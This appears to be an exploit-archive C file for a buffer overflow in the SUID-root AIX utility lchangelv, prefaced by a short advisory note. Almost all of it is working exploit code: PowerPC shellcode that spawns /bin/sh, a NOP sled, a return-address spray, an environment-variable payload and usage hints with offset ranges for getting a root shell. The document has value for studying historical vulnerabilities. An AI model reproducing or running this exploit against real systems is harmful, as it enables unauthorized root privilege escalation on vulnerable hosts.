103 lines
3.3 KiB
C
Executable file
103 lines
3.3 KiB
C
Executable file
source: http://www.securityfocus.com/bid/389/info
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A buffer overflow can occur in lchangelv under some versions of AIX. Note that an attacker must already have the GID or EGID of 'system' to execute lchangelv.
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Because lchangelv is SUID root, this overflow will grant the attacker root privileges.
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/*
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*
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* /usr/sbin/lchangelv (kinda' coded) by BeastMaster V
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*
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* CREDITS: this is simply a modified version of an exploit
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* posted by Georgi Guninski (guninski@hotmail.com)
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*
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* NOTES: you must have gid or egid of (system) to run this.
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*
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* USAGE:
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* $ cc -o foo -g aix_lchangelv.c
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* $ ./foo 5100
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* #
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*
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*
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* HINT: Try giving ranges from 5090 through 5500
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*
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* DISCLAIMER: use this program in a responsible manner.
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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extern int execv();
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#define MAXBUF 600
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unsigned int code[]={
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0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
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0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
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0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
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0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
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0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
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0x7c0903a6 , 0x4e800420, 0x0
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};
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char *createvar(char *name,char *value)
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{
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char *c;
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int l;
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l=strlen(name)+strlen(value)+4;
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if (! (c=malloc(l))) {perror("error allocating");exit(2);};
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strcpy(c,name);
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strcat(c,"=");
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strcat(c,value);
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putenv(c);
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return c;
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}
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main(int argc,char **argv,char **env)
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{
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unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
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int min=100, max=280;
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unsigned int return_address;
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char *newenv[8];
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char *args[4];
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int offset=3200;
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if (argc==2) offset = atoi(argv[1]);
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pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;
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*((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
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*((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000f
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fff);
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*((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
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*((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000
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ffff);
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return_address=(unsigned)&buf[0]+offset;
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for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
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strcpy((char*)&buf[nop],(char*)&code);
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i=nop+strlen( (char*) &code)/4-1;
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for(i=0;i<max-1;i++) frame[i]=return_address;
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frame[i]=0;
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newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
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newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
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newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
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newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
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newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
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newenv[5]=NULL;
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args[0]="lchangelv";
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args[1]="-l";
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args[2]=(char*)&frame[0];
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execve("/usr/sbin/lchangelv",args,newenv);
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perror("Error executing execve \n");
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}
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